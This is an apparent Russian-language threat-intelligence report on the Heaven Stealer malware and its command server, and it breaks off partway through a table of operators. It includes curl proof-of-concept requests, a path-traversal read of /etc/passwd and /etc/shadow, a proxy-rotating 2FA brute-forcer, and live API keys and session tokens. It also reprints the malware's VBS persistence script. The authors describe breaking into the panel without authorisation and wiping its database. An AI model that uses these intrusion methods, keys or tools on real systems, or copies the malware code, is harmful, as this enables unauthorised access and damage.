⚠️ Дисклеймер (Отказ от ответственности):
Данный технический отчет подготовлен исключительно в образовательных целях, в рамках реагирования на инцидент информационной безопасности и анализа угроз (Threat Intelligence & Malware Analysis). Исследование проводилось с целью изучения вредоносного ПО, содействия защите пользователей и нейтрализации вредоносной C2-инфраструктуры. Авторы категорически не одобряют противоправную деятельность и не несут ответственности за неправомерное использование представленных данных, утилит или индикаторов компрометации третьими лицами.
| Параметр | Значение |
|---|---|
| Объект | Инфраструктура C2 (heavenproject.lgbt, c2.heavenproject.lgbt), малварь Heaven Stealer |
| IP-адреса | heavenproject.lgbt (104.21.25.235, 172.67.134.227), c2.heavenproject.lgbt (162.0.236.31) |
| Тип анализа | Реверс-инжиниринг, дампы памяти, анализ трафика (PCAP), пентест C2-панели |
| Период работы | 30 августа - 9 сентября 2026 |
| Итог | Панель взломана, база ~6 500 жертв очищена, сайт выведен из строя |
| Выгружено логов | 1 013 МБ сырых ZIP-архивов и телеметрии с панели оператора trexy |
Над проектом работали:#
- @freakscary - neversocial.life
- @alowyy1 - alowyy1.com
ОГЛАВЛЕНИЕ#
- Краткое резюме
- Схема атаки: от загрузки до C2
- Инфраструктура C2 и сетевая разведка
- 3.1. Реальный бэкенд и обход Cloudflare
- 3.2. Открытые порты и сервисы (162.0.236.31)
- 3.3. Технологический стек
- Архитектура API и дашборд
- 4.1. Публичная утечка
/app.js(3 651 строка) - 4.2. Административный API оператора
- 4.3. Bot API (8 эндпоинтов без авторизации)
- 4.4. Скрытые эндпоинты из дампов памяти
- 4.5. WebSocket RAT протокол
- 4.1. Публичная утечка
- Реестр уязвимостей инфраструктуры (23 уязвимости)
- 5.1. Сводная таблица
- 5.2. Разбор критических дыр
- 5.3. Остальные уязвимости
- 5.4. Проверка CVE (ложные срабатывания)
- Практические PoC (Proof of Concept)
- 6.1. Регистрация ботов без авторизации
- 6.2. Отравление базы данных (Data Poisoning)
- 6.3. HTTP Polling Reverse Shell и перехват HVNC
- Реверс-инжиниринг малвари (Heaven Stealer)
- 7.1. Цепочка доставки (~113 МБ)
- 7.2. Временные артефакты инсталлятора
- 7.3. Dropper и маскировка под Google Update
- 7.4. Маскировка под Fabric Mod для Minecraft
- 7.5. Персистентность через WMI-демон
- 7.6. Двухуровневая обфускация байткода
- 7.7. Модули стилера
- Дампы оперативной памяти (Memory Forensics)
- 8.1. API ключ C2 (
H7CJRKSZBX7EM6YQ) - 8.2. Токены сессий и UUID ботов
- 8.3. Дамп дроппера
- 8.4. Дампы Heaven v2 - новый ключ
JP1ZYRLIXYPPVOGP
- 8.1. API ключ C2 (
- Анализ сетевого трафика (PCAP)
- 9.1. Характеристики захвата
- 9.2. Посекундный таймлайн
- 9.3. TLS-каналы и эксфильтрация
- 9.4. Discord Webhook оповещение
- Обход Rate Limiting и взлом 2FA - Rust Bruter
- 10.1. Предыстория: патч VULN-05
- 10.2. Архитектура обхода
- 10.3. Описание инструмента
- Пентест Admin-панели C2 (09.09.2026)
- 11.1. Доступ к панели
- 11.2. Масштаб ботнета
- 11.3. Уязвимости Admin-панели
- 11.4. LFI - чтение файлов сервера как root
- 11.5. Попытка взлома SSH через хэш пароля
- 11.6. Техническое окружение сервера
- Хронология событий и итог операции
- Индикаторы компрометации (IOC)
1. КРАТКОЕ РЕЗЮМЕ#
Расследование началось после того, как знакомый случайно установил малварь Heaven Stealer, замаскированную под программу Velocity New. В ходе работы, длившейся с 30 августа по 9 сентября 2026 года, были получены следующие результаты:
Извлечены два рабочих API-ключа из дампов оперативной памяти:
H7CJRKSZBX7EM6YQ(из дампа первого билда)JP1ZYRLIXYPPVOGP(из дампа второго билда, новый образец найден через ANY.RUN)
Обойдена двухфакторная авторизация (2FA) панели C2 при помощи специально разработанного инструмента на Rust с ротацией прокси-серверов - даже после того, как создатели панели залатали уязвимость с отсутствием Rate Limiting.
Получен полный доступ к Admin-панели с правами администратора. На момент взлома в базе было более 6 500 заражённых устройств.
Обнаружена критическая LFI-уязвимость (Local File Inclusion) - через
GET /api/file_download?token=../../../../../../etc/passwdможно было читать любые файлы сервера. Процесс C2 работал от root, поэтому доступен был даже/etc/shadowс хэшами паролей.База заражённых устройств полностью очищена. В результате комплексного воздействия (массовое удаление через скрипт
delete_clients.py, аудит LFI и сбой pm2-процессаheaven-server) бэкенд сервера перестал отвечать (Cloudflare HTTP 521 - Web server is down).Выявлено 23 уязвимости инфраструктуры + 10 дополнительных уязвимостей Admin-панели. Все 8 эндпоинтов обмена данными с ботами не имели никакой авторизации.
Полностью вскрыта малварь: двухуровневая обфускация (XOR 0x7A + AES-128-ECB), деобфусцировано 18 458 строк байткода, извлечены модули скрытого рабочего стола (HVNC), SOCKS5-прокси, кражи паролей и Discord-инъекции.
Выгружено 1 013 МБ сырых ZIP-архивов и телеметрии с панели оператора trexy - самого крупного оператора по количеству заражённых устройств.
Разработанные инструменты#
В ходе расследования были написаны следующие инструменты:
- heaven_v2_rust (Rust, 1 292 строки) - асинхронный брутфорсер 2FA с ротацией прокси, пулом сессий и адаптивным скейлером
- TOTP Interceptor v6 (Go, 479 строк) - ранняя версия брутфорсера 2FA на Go с пулом прокси
- main_proxy.py (Python) - скрипт сбора и валидации прокси-серверов
- delete_clients.py (Python) - асинхронное массовое удаление UUID жертв из базы C2 (50 параллельных потоков, автоматическая обработка HTTP 429 Rate Limit)
- exploit_dashboard.py, exploit_demo.py и др. (Python) - скрипты исследования и эксплуатации уязвимостей панели
- interceptor.exe - скомпилированный брутфорсер для автономного запуска
2. СХЕМА АТАКИ: ОТ ЗАГРУЗКИ ДО C2#
graph TD
subgraph Phase1["1. Инфраструктура C2"]
W1["heavenproject.lgbt"] --> CF["Cloudflare WAF"]
CF --> BACK["Бэкенд: Node.js / pm2 - 162.0.236.31"]
W2["c2.heavenproject.lgbt"] -.->|"ПРЯМОЙ ДОСТУП БЕЗ WAF"| BACK
BACK --> ADM["Admin API - ключ + 2FA"]
BACK --> BOT["Bot API - 8 эндпоинтов БЕЗ АВТОРИЗАЦИИ"]
end
subgraph Phase2["2. Доставка"]
D1["MEGA / Discord ~113 MB"] --> D2["NSIS-инсталлятор"]
D2 --> D3["Electron-контейнер - velocity new.exe"]
D2 --> D4["JRE под видом Google Update"]
end
subgraph Phase3["3. Исполнение"]
D3 --> E1["main.js - Dropper из app.asar"]
E1 --> E2["javaw.exe -jar syshost.jar"]
E2 --> E3["Маскировка: Fabric Mod cutify_cozy-1.21.11"]
E3 --> E4["WMI-демон - перезапуск каждые 5 сек"]
E3 --> E5["Сбор данных - %TEMP%/Heaven_Data/"]
E3 --> E6["HVNC - скрытый рабочий стол"]
E3 --> E7["Сетевой клиент"]
E7 -->|"WSS / HTTP"| BOT
end3. ИНФРАСТРУКТУРА C2 И СЕТЕВАЯ РАЗВЕДКА#
3.1. Реальный бэкенд и обход Cloudflare#
Основной домен heavenproject.lgbt закрыт Cloudflare, но поддомен c2 указывает прямо на сервер:
heavenproject.lgbt:
A: 104.21.25.235 (Cloudflare)
A: 172.67.134.227 (Cloudflare)
c2.heavenproject.lgbt:
A: 162.0.236.31 (РЕАЛЬНЫЙ IP - БЕЗ CLOUDFLARE!)
- Хостинг: Namecheap (AS22612), Phoenix, Arizona, US
- Reverse DNS:
model-reduce.quarantine-pnap-vlan51.web-hosting.com - Слово
quarantineв PTR говорит о том, что Namecheap уже изолировал сервер за жалобы на вредоносную активность
3.2. Открытые порты и сервисы (162.0.236.31)#
| Порт | Сервис | Детали | Риск |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu | Высокий |
| 80 | HTTP | Golang net/http (C2 Panel + Bot API). HTTPS нет! | Критич. |
| 1080 | SOCKS5 | Прокси с аутентификацией | Высокий |
| 3306 | MySQL | Задержка TCP = 540ms | Средний |
| 4044 | Raw TCP | Молчит, ждёт бинарный handshake | Средний |
| 9999 | Raw TCP | Бинарный канал или отладка | Средний |
| 18999 | HTTP | Reverse Proxy, отдаёт 502 Bad Gateway | Низкий |
3.3. Технологический стек#
- ОС: Ubuntu 24.04 LTS
- Hostname:
server1.heavenproject.lgbt - Серверная часть: Node.js + Express 5.2.1, запуск через pm2, процесс
heaven-server, работает от root - БД: SQLite (пакет
connect-sqlite3+sqlite3) - 2FA: speakeasy (TOTP)
- WebSocket: ws 8.20.0
- Загрузка файлов: multer 1.4.5
- Клиентский дашборд: Vanilla JS (
app.js, 188 КБ / 3 651 строка)
Эти данные получены через LFI-чтение файла /root/heaven/package.json:
{
"name": "mc-pornografik",
"main": "index.js",
"scripts": { "start": "node server.js" },
"dependencies": {
"connect-sqlite3": "^0.9.18",
"sqlite3": "^6.0.1",
"express": "^5.2.1",
"speakeasy": "^2.0.0",
"ws": "^8.20.0",
"multer": "^1.4.5-lts.1"
}
}
4. АРХИТЕКТУРА API И ДАШБОРД#
4.1. Публичная утечка /app.js (3 651 строка)#
Файл GET /app.js?v=62 (188 КБ) лежал в открытом доступе и содержал:
- Ссылку на Telegram-канал разработчиков:
t.me/heavenstealer - Полный список процессов, за которыми следит стилер:
chrome.exe,msedge.exe,opera.exe,discord.exe,steam.exe,spotify.exe,javaw.exe,explorer.exe,lsass.exe,code.exe - Структуру полей жертвы:
id,pcName,osName,osVersion,ip,ram,monitors,lastSeen,online,apiKey,mcVersion - Anti-Echo фильтр:
(now - lastTerminalTime) < 400ms
Именно из app.js был обнаружен эндпоинт /api/file_download?token=..., который привёл к LFI-уязвимости (подробнее в разделе 11.4).
4.2. Административный API оператора#
Защищён сессионной cookie после ввода API-ключа и 2FA:
POST /api/login- принимает{"apiKey": "..."}, возвращает{"next":"2fa","status":"ok"}POST /api/2fa_verify- проверка 6-значного TOTP-кодаGET /api/me- данные текущего оператораGET /api/clients- список всех жертвGET /api/client_data/{id}- украденные пароли и куки конкретной жертвыPOST /api/delete_client- удаление жертвы из базыGET /api/settings&POST /api/settings- настройка Discord WebhookGET /api/build&GET /api/build/status- конструктор вредоносных билдов (.JAR, .EXE, .DLL)GET /api/admin/keys- список операторов и ключейPOST /api/admin/keys/add,/delete,/edit,/kick- управление операторамиGET /api/admin/download-steam- скачивание украденных Steam-файлов
4.3. Bot API (8 эндпоинтов без авторизации)#
Все эндпоинты, через которые стилер отправляет украденные данные, не проверяют никаких ключей:
| Эндпоинт | Метод | Что принимает | Угроза |
|---|---|---|---|
/api/connect |
POST | {"id":"UUID","os":"...","username":"..."} или {} |
Регистрация фейковых ботов |
/api/heartbeat |
POST | {"id":"UUID"} |
Перехват команд оператора |
/api/browser_data |
POST | {"type":"passwords","data":[...]} или {} |
Инъекция фейковых паролей |
/api/keylog |
POST | {"id":"UUID","window":"...","keys":"..."} |
Инъекция фейковых нажатий |
/api/screen |
POST | {"id":"UUID","events":[...]} |
Двунаправленный перехват HVNC |
/api/terminal |
POST | {"id":"UUID","command":"...","result":"..."} |
Фальсификация вывода команд |
/api/file_list |
POST | {"id":"UUID","path":"C:\\","files":[...]} |
Инъекция дерева файлов |
/api/webcam |
POST | {"id":"UUID","frame":"base64..."} или {} |
Стриминг без авторизации |
4.4. Скрытые эндпоинты из дампов памяти#
Найдены в дампе javaw.exe.dmp:
GET /api/v1/config_sync?token=efa965bf...- синхронизация модулейPOST /api/v1/telemetry- системные метрикиGET /api/v1/update_check- проверка обновлений JARPOST /api/upload_zip- загрузка архивов без проверки MIMEGET /api/download_zip?clientId=&token=/GET /api/file_download?token=- скачивание файлов
4.5. WebSocket RAT протокол#
Из app.js восстановлен полный протокол управления жертвами в реальном времени:
sequenceDiagram
participant Op as Браузер оператора
participant C2 as C2 сервер (162.0.236.31)
participant Bot as Бот на машине жертвы
Op->>C2: WSS Connect (cookie)
Bot->>C2: POST /api/connect {"id":"f1ded8a4..."}
C2-->>Bot: {"id":"f1ded8a4...","status":"ok"}
loop Каждую секунду
Bot->>C2: POST /api/heartbeat {"id":"f1ded8a4..."}
C2-->>Bot: {"command":"terminal_cmd","screen":true}
end
Note over Op,C2: Команды оператора:
Op->>C2: {"action":"watch"} - стрим экрана
Op->>C2: {"action":"start_hvnc"} - скрытый рабочий стол
Op->>C2: {"action":"terminal_cmd","cmd":"whoami"}
Op->>C2: {"action":"toggle_socks5"} - прокси через жертву
Op->>C2: {"action":"zip_all_data"} / {"action":"extract_discord"}5. РЕЕСТР УЯЗВИМОСТЕЙ ИНФРАСТРУКТУРЫ (23 УЯЗВИМОСТИ)#
5.1. Сводная таблица#
| ID | Уязвимость | Уровень | CVSS | CWE |
|---|---|---|---|---|
| VULN-18 | /api/heartbeat без авторизации - перехват команд |
КРИТИЧ. | 9.8 | CWE-306 |
| VULN-21 | /api/browser_data без авторизации - Data Poisoning |
КРИТИЧ. | 9.8 | CWE-306 |
| VULN-19 | /api/connect без авторизации - фейковые боты |
КРИТИЧ. | 9.5 | CWE-306 |
| VULN-20 | /api/terminal без авторизации - фальсификация вывода |
КРИТИЧ. | 9.5 | CWE-306 |
| VULN-02 | SSH открыт на публичном IP | КРИТИЧ. | 9.3 | CWE-1021 |
| VULN-16 | /api/screen без авторизации - перехват HVNC |
КРИТИЧ. | 9.3 | CWE-306 |
| VULN-01 | Реальный IP раскрыт через DNS c2 (обход WAF) | КРИТИЧ. | 9.1 | CWE-200 |
| VULN-22 | /api/file_list без авторизации |
ВЫСОКАЯ | 8.8 | CWE-306 |
| VULN-03 | Публичный доступ к /app.js (188 КБ) |
ВЫСОКАЯ | 8.6 | CWE-552 |
| VULN-23 | /api/webcam без авторизации |
ВЫСОКАЯ | 8.5 | CWE-306 |
| VULN-17 | /api/keylog - инъекция фейковых нажатий |
ВЫСОКАЯ | 7.5 | CWE-306 |
| VULN-04 | Нет HTTPS на субдомене c2 (порт 80) | ВЫСОКАЯ | 7.4 | CWE-319 |
| VULN-05 | Нет Rate Limiting на login/2FA | ВЫСОКАЯ | 7.3 | CWE-799 |
| VULN-14 | Публичный SOCKS5-прокси (порт 1080) | ВЫСОКАЯ | 7.2 | CWE-284 |
| VULN-06 | Нет HTTP Security Headers | СРЕДНЯЯ | 6.8 | CWE-693 |
| VULN-12 | HTTP метод TRACE включён (XST) | СРЕДНЯЯ | 5.8 | CWE-693 |
| VULN-07 | Cookie без HttpOnly/Secure | СРЕДНЯЯ | 5.4 | CWE-614 |
| VULN-13 | Открытый порт 9999/TCP | СРЕДНЯЯ | 5.3 | CWE-200 |
| VULN-08 | Нет CSRF-токенов | СРЕДНЯЯ | 5.0 | CWE-352 |
| VULN-09 | Клиентский Anti-DevTools скрипт | НИЗКАЯ | 4.3 | CWE-656 |
| VULN-15 | Утечка Reverse Proxy (порт 18999) | НИЗКАЯ | 4.0 | CWE-200 |
| VULN-10 | Cloudflare Beacon Token раскрыт | НИЗКАЯ | 3.1 | CWE-200 |
| VULN-11 | Информация в robots.txt | НИЗКАЯ | 2.7 | CWE-200 |
| VULN-00 | Prototype Pollution (исправлена) | ИСПРАВЛ. | - | CWE-1321 |
5.2. Разбор критических дыр#
[VULN-18] /api/heartbeat - перехват C2-канала (CVSS 9.8)
Запрос POST /api/heartbeat с любым UUID возвращал текущие команды оператора. Злоумышленник мог видеть момент включения стриминга экрана, сообщения оператора жертве и имена шелл-команд.
[VULN-21] /api/browser_data - отравление базы (CVSS 9.8)
Сервер принимал любые данные без авторизации, даже пустой JSON {}. Позволяло внедрять Canary-токены для деанонимизации оператора.
[VULN-19] /api/connect - регистрация фейковых ботов (CVSS 9.5) Сервер сам генерировал UUID при пустом запросе. Можно было наводнить панель миллионами фиктивных ботов.
[VULN-01] Раскрытие IP через DNS (CVSS 9.1)
Запись c2.heavenproject.lgbt -> 162.0.236.31 давала полный обход WAF.
5.3. Остальные уязвимости#
- VULN-03 (8.6): 188 КБ исходного кода дашборда в открытом доступе
- VULN-04 (7.4): Субдомен
c2работает по HTTP - пароли и куки передаются в открытом виде - VULN-05 (7.3): Отсутствие Rate Limiting позволяло брутфорсить TOTP за 17 минут. Исправлено после первой попытки взлома, но нами обойдено через прокси (раздел 10)
- VULN-14 (7.2): SOCKS5 на порту 1080 открыт для перебора паролей
5.4. Проверка CVE (ложные срабатывания)#
- CVE-2024-45338 (Go chunked DoS): Задержка 1.8x = таймаут, не баг. Не подтверждено.
- CVE-2024-24790 (SSRF): Стандартный fallback-роутинг. Ложное срабатывание.
- CVE-2024-34156 (Go gob overflow): Стабильно 401 за ~1с при 5000 уровней вложенности. Не уязвим.
- CVE-2025-22871 (LF smuggling): TCP reset. Защищён.
- CVE-2024-6387 (OpenSSH regreSSHion): Патч установлен.
- SQL/NoSQL/Path Traversal через sqlmap: 24 теста, 0 результатов (бинарное Key-Value хранилище, позднее обнаружено что SQLite).
6. ПРАКТИЧЕСКИЕ POC (PROOF OF CONCEPT)#
6.1. Регистрация ботов без авторизации#
# Регистрация тестового бота:
curl -X POST http://c2.heavenproject.lgbt/api/connect \
-H "Content-Type: application/json" \
-d '{"os":"Windows 11 Pro","hwid":"TEST-HWID","username":"Victim"}'
# Ответ: {"id":"3f3ce2e1-b842-d402-f4ed-93ae0b3594c0","status":"ok"}
# Heartbeat - опрос команд:
curl -X POST http://c2.heavenproject.lgbt/api/heartbeat \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-b842-d402-f4ed-93ae0b3594c0"}'
# Ответ: {"chat":null,"command":"none","screen":false,"status":"ok","webcam":false}
Зарегистрированные тестовые UUID:
3f3ce2e1-b842-d402-f4ed-93ae0b3594c0,f2860802-e169-25d1-7b28-48fed4124b3e8752c57b-1bd9-4d58-6a6d-5fdb06c3bcb8,d88c5716-d713-8547-99af-ccfd3f29668e10e3e99b-bbd1-711e-557b-30cf04b43fc1,12d104b7-183a-ed48-0f6d-b402577a04168e46ddd0-76b3-51aa-da44-ba337e1ad0c8,ecdd61d4-5f39-45f0-8444-8d24b9ee0555
6.2. Отравление базы данных (Data Poisoning)#
# Инъекция фейковых паролей:
curl -X POST http://c2.heavenproject.lgbt/api/browser_data \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-...","type":"passwords","data":[{"url":"https://corporate.portal","username":"ceo@target.corp","password":"CanaryTrapPassword2026!"}]}'
# Ответ: {"status":"ok"}
# Инъекция фейкового кейлоггера:
curl -X POST http://c2.heavenproject.lgbt/api/keylog \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-...","window":"Google Chrome","keys":"admin_login[TAB]SuperSecret[ENTER]"}'
# Ответ: {"status":"ok"}
6.3. HTTP Polling Reverse Shell и перехват HVNC#
При отправке оператором шелл-команды /api/heartbeat возвращал {"command": "terminal:whoami"}. Скрипт-эмулятор отправлял фиктивный ответ "NT AUTHORITY\\SYSTEM", и оператор видел успешное выполнение с максимальными привилегиями.
7. РЕВЕРС-ИНЖИНИРИНГ МАЛВАРИ (HEAVEN STEALER)#
7.1. Цепочка доставки (~113 МБ) и ресурсы распространения#
- Первоначальный образец поставлялся через MEGA:
https://mega.nz/file/FV932aaT#TkrZhW7G0m9PmNe5N9VWgLpqaMFwaPTu4IUAQOvUE9o - Знакомый случайно установил малварь под видом Velocity New, собственно из-за него началась эта работа.
- Песочницы ANY.RUN (исследованные задачи анализа):
- Таск #1: ANY.RUN Task deb65d82 (Velocity New образец)
- Таск #2: ANY.RUN Task 59d4cf0c (Heaven v2 образец)
- Таск #3: ANY.RUN Task 6ad256b4 (Дополнительный вредоносный билд)
- Сайты распространения малвари (Malware Droppers / Delivery Sites):
velocityget.com- поддельный ресурс загрузки клиента Velocitykrnl-executorr.com/- поддельный ресурс популярного чита/эксплоита KRNLhttps://skycheaters.com- поддельный сайт распространения игровых читов
- Фишинговые домены и редиректы:
noreplyamz-sign-in.webredirect.org(включая служебные субдоменыwww,mail,cpanel,webmail,webdisk,cpcontacts)
- Внешний установщик: NSIS + упакованный
app-64.7z
7.2. Временные артефакты инсталлятора#
Инсталлятор создаёт C:\Users\<User>\AppData\Local\Temp\nszF928.tmp\ и извлекает:
StdUtils.dll(102 КБ),System.dll(12 КБ),SpiderBanner.dll(9 КБ)app-64.7z(112 МБ) ->resources\app.asar(7.5 КБ) +resources\app.jar(15.4 МБ)
7.3. Dropper (main.js из app.asar) и маскировка под Google Update#
Скрипт main.js внутри app.asar:
- Захватывает мьютекс
app.requestSingleInstanceLock() - Копирует Java Runtime под видом Google Update:
%LocalAppData%\Google\Update\GUManager\runtime\bin\javaw.exe - Копирует пейлоад:
%AppData%\Microsoft\Windows\Templates\syshost.jar - Запускает скрытый процесс:
javaw.exe -jar syshost.jar - Закрывает окно инсталлятора, имитируя сбой установки
7.4. Маскировка под Fabric Mod для Minecraft (cutify_cozy-1.21.11)#
Внутри syshost.jar код замаскирован под мод Minecraft:
- Манифест:
fabric.mod.json, название:cutify_cozy-1.21.11 - Входной класс:
j.l.c.qk8PDez9nnaFpI
Билд v2 (каталог hevan) имел ключевые отличия:
- Двойная точка входа: Fabric preLaunch (
n.e.l.GhlGPobMXnAqMF) + автономный JAR (n.e.l.JSo5Ml1QaZW7hMс JNA-библиотеками). Можно запускать и через Minecraft, и черезjava -jar - Пакет перенесён из
j.l.c.*вn.e.l.* - 7 500+ фиктивных классов-пустышек для усложнения анализа
- 331 зашифрованный файл
.dbпо 16 392 байта - Пейлоад HVNC:
hvnc.enc(206 КБ)
7.5. Персистентность через WMI-демон (win_security_update.vbs)#
Стилер создаёт скрипт, который каждые 5 секунд через WMI проверяет наличие процесса syshost.jar и перезапускает его:
On Error Resume Next
Set shell = CreateObject("WScript.Shell")
Set service = GetObject("winmgmts:")
Do
Set processes = service.ExecQuery("Select * from Win32_Process Where CommandLine Like '%syshost.jar%'")
If processes.Count = 0 Then
shell.Run """...\javaw.exe"" -jar ""...\syshost.jar""", 0, False
End If
WScript.Sleep 5000
Loop
7.6. Двухуровневая обфускация байткода#
- Слой 1 - XOR:
Plaintext = Base64Decode(Arg) XOR 0x7A- деобфусцировано 18 458 строк - Слой 2 - AES-128-ECB:
Key = SHA-256(Password)[0..15]- защита конфигурации и сетевых строк
7.7. Модули стилера#
- Браузеры: Извлечение Master Key через DPAPI, расшифровка паролей и cookie из Chrome, Edge, Brave
- Discord: Перехват токенов + инъекция в десктопный клиент
- Steam: Дамп файлов авторизации
ssfn* - HVNC: Скрытый рабочий стол через Win32 API (
CreateDesktop,SwitchDesktop) - SOCKS5: Прокси через заражённый компьютер для маскировки IP оператора
- Каталог сбора:
%TEMP%\Heaven_Data\(passwords.txt, cookies.txt, autofill.txt, history.txt, downloads.txt)
8. ДАМПЫ ОПЕРАТИВНОЙ ПАМЯТИ (MEMORY FORENSICS)#
8.1. API ключ C2 (H7CJRKSZBX7EM6YQ)#
В дампе javaw.exe_2026-08-30_16-36-21.dmp (332.1 МБ) найден открытый мастер-ключ:
H7CJRKSZBX7EM6YQ
Проверка: POST https://heavenproject.lgbt/api/login с {"apiKey":"H7CJRKSZBX7EM6YQ"} вернул {"next":"2fa","status":"ok"}.
8.2. Токены сессий и UUID ботов#
| Артефакт | Значение | Назначение |
|---|---|---|
| API Key (v1) | H7CJRKSZBX7EM6YQ |
Мастер-ключ панели C2 |
| Session Token | efa965bf70fc2f8d5494d1457b8ae365b7d39ef37f88608e4775847b4c5f8120 |
Синхронизация модулей |
| Bot UUID (текущий) | f1ded8a4-941f-4b0a-850a-9b6472a12a9f |
Активная сессия |
| Bot UUID (VM 1) | 72ecc0d3-9f0d-4bb0-bf47-880fd3a983b7 |
Первая VM |
| Bot UUID (VM 2) | 5d407630-3736-4766-83e6-6cfaabea6e8f |
Тестовая песочница |
8.3. Дамп дроппера#
В дампе velocity new.exe.6656.dmp (2.0 МБ) найдены URL библиотеки NSIS и дескрипторы развёртывания app.asar.
8.4. Дампы Heaven v2 - новый ключ JP1ZYRLIXYPPVOGP#
Из свежих дампов (09.09.2026):
javaw.exe_2026-09-09_16-21-15.dmp(1 657.6 МБ)javaw.exe_2026-09-09_16-22-37.dmp(273.3 МБ)wscript.exe_2026-09-09_16-22-19.dmp(79.1 МБ)wscript.exe_2026-09-09_16-22-30.dmp(46.0 МБ)
Новый API-ключ: JP1ZYRLIXYPPVOGP - в v2 малварь передаёт ключ прямо в JSON /api/connect.
Перехваченный JSON-пакет регистрации бота:
{
"name": "Unknown",
"uuid": "8574827b-48aa-4cd8-b855-db51c876cb25",
"pcName": "DESKTOP-49788EQ",
"osName": "Windows 10",
"osVersion": "10.0",
"javaVersion": "21.0.7",
"ram": "3GB",
"mcVersion": "1.1.0-chat",
"apiKey": "JP1ZYRLIXYPPVOGP",
"monitorCount": 1,
"monitors": [{"id": 1, "name": "\\Display0", "width": 1458, "height": 936}],
"webcams": []
}
Расшифрованные эндпоинты в RAM: /api/connect, /api/heartbeat (700+ обращений), /api/keylog.
Токен сессии v2: 6595b64144ccf1df.
Дампы wscript.exe подтвердили работу персистентного демона win_security_update.vbs.
9. АНАЛИЗ СЕТЕВОГО ТРАФИКА (PCAP)#
Файл: 213131.pcapng (60.8 с, 539 пакетов, 178 КБ)
Жертва: HOME-PC, IP 192.168.11.128, Windows 10/11, Chromium 128.0
9.2. Посекундный таймлайн#
T+0.0s Chromium - UPnP SSDP обнаружение
T+9.8s Проверка CRL через c.pki.goog
T+24.9s Попытка связи с api.ipify.org (сброс TCP RST)
T+33.0s DNS: heavenproject.lgbt -> 104.21.25.235 (Cloudflare)
T+33.3s TLS ClientHello -> 104.21.25.235:443
=> Соединение #1 (порт 49881) - WebSocket C2-канал
T+37.5s api.ipify.org - получение внешнего IP жертвы
T+37.7s TLS ClientHello -> 104.21.25.235:443
=> Соединение #2 (порт 49883) - эксфильтрация данных
T+37.8s *** МАССОВАЯ ЭКСФИЛЬТРАЦИЯ ***
14 пакетов по 1460 байт (~20 КБ)
T+38.4s 12 пакетов по 1460 байт (~17 КБ)
T+39.9s 12 пакетов по 1460 байт (~17 КБ)
ИТОГО: ~55-60 КБ зашифрованных данных за 2 секунды
T+42.0s Ответ C2 - подтверждение приёма
T+48.3s DNS: discord.com -> TLS -> Discord Webhook (оповещение оператора)
T+60.8s Конец захвата
9.3. TLS-каналы и эксфильтрация#
Весь трафик к C2 - TLS 1.3 (TLS_AES_256_GCM_SHA384). Heartbeat каждые ~1.0 секунды: запрос 351 байт, ответ ~750 байт.
9.4. Discord Webhook оповещение#
На T+48.3s стилер отправил оператору отчёт: имя хоста, публичный IP, версия ОС, количество похищенных паролей.
10. ОБХОД RATE LIMITING И ВЗЛОМ 2FA - RUST BRUTER#
10.1. Предыстория: патч VULN-05#
После нашей первой попытки входа в панель (когда был извлечён рабочий API-ключ и сессия перешла в статус ожидания 2FA), создатели C2-панели залатали уязвимость VULN-05. Теперь после 5 неверных попыток ввода 2FA-кода сервер блокировал IP-адрес на неизвестный период времени, а созданная сессия (которая создавалась при вводе API-ключа) истекала.
Кроме того, на панели была добавлена защита от инструментов разработчика: клиентский JavaScript-код блокировал открытие DevTools стандартными способами (F12, правый клик мыши, Ctrl+Shift+I). Для обхода нужно было открывать их вручную через меню браузера: Три точки > Дополнительные инструменты > Инструменты разработчика.
10.2. Архитектура обхода#
Чтобы обойти блокировку по IP, была разработана следующая схема:
graph LR
subgraph Bruter["Rust Bruter (heaven_v2_rust)"]
SF["700 Session Fillers"] -->|"POST /api/login через прокси"| POOL["Пул сессий (до 5000)"]
POOL --> W["до 800 воркеров"]
W -->|"POST /api/2fa_verify"| C2["C2 сервер"]
end
PROXY["Файл proxy.txt с HTTP-прокси"] --> SF
C2 -->|"Код найден!"| DC["Discord Webhook: оповещение + cookie"]Ключевая идея: сервер блокирует IP после 5 неверных попыток, но каждый запрос идёт через другой прокси-сервер с другим IP. Для каждого прокси ведётся отдельный счётчик, и при получении блокировки (HTTP 429) прокси отправляется в бан на 61 секунду.
10.3. Описание инструмента#
Был написан инструмент heaven_v2_rust на языке Rust (1 292 строки), полностью асинхронный на tokio. Основные характеристики:
- Пул сессий: 700 параллельных "заполнителей" непрерывно создавали новые сессии через
POST /api/login, отправляя API-ключ через разные прокси. Целевой размер пула - 2 000 активных сессий, максимум - 5 000 - Брутфорс 2FA: до 800 параллельных воркеров брали сессии из пула и отправляли 6-значные TOTP-коды на
POST /api/2fa_verify. Каждая сессия использовалась максимум для 5 попыток, после чего выбрасывалась - Ротация прокси: каждый прокси мог сделать максимум 8 запросов login за 60 секунд. При получении HTTP 429 прокси уходил в бан на 61 секунду и возвращался в конец очереди
- Адаптивный скейлер: каждые 100 мс система проверяла баланс между скоростью создания сессий и скоростью их потребления, динамически регулируя число воркеров
- Оповещение: при нахождении правильного кода система отправляла 10 уведомлений в Discord с cookie сессии и готовой JS-командой для вставки в браузер:
document.cookie = "heaven_session=<token>; path=/"; location.href = "/dashboard"; - Автодамп: после успешного входа скрипт автоматически выгружал данные с
/api/me,/api/clients,/api/settings,/api/admin/keys
11. ПЕНТЕСТ ADMIN-ПАНЕЛИ C2 (09.09.2026)#
11.1. Доступ к панели#
После успешного обхода 2FA мы получили доступ к панели администратора по адресу https://heavenproject.lgbt/dashboard.
Данные аккаунта:
{"apiKey": "JP1ZYRLIXYPPVOGP", "isAdmin": true, "is_2fa_enabled": true, "name": "trexy admin"}
11.2. Масштаб ботнета#
| Показатель | Значение |
|---|---|
| Заражённых устройств в базе | ~6 500+ (на момент очистки) |
| Операторов в панели | 6 (opi, trexy, trexy admin, admin, klewtr, klew) |
| Роль "trexy admin" | ADMIN |
| Статус сборки малвари | building (активна) |
| Хостинг | SolusVM VPS, Ubuntu 24.04 LTS |
| Runtime | Node.js + pm2 (heaven-server) |
| Процесс запущен от | root |
Все операторы панели:
| Имя | API-ключ | 2FA | Роль |
|---|---|---|---|
| opi | EDB0S2N0RWU16ZK0 |
Enabled | USER |
| trexy | H7CJRKSZBX7EM6YQ |
Enabled | USER |
| trexy admin | JP1ZYRLIXYPPVOGP |
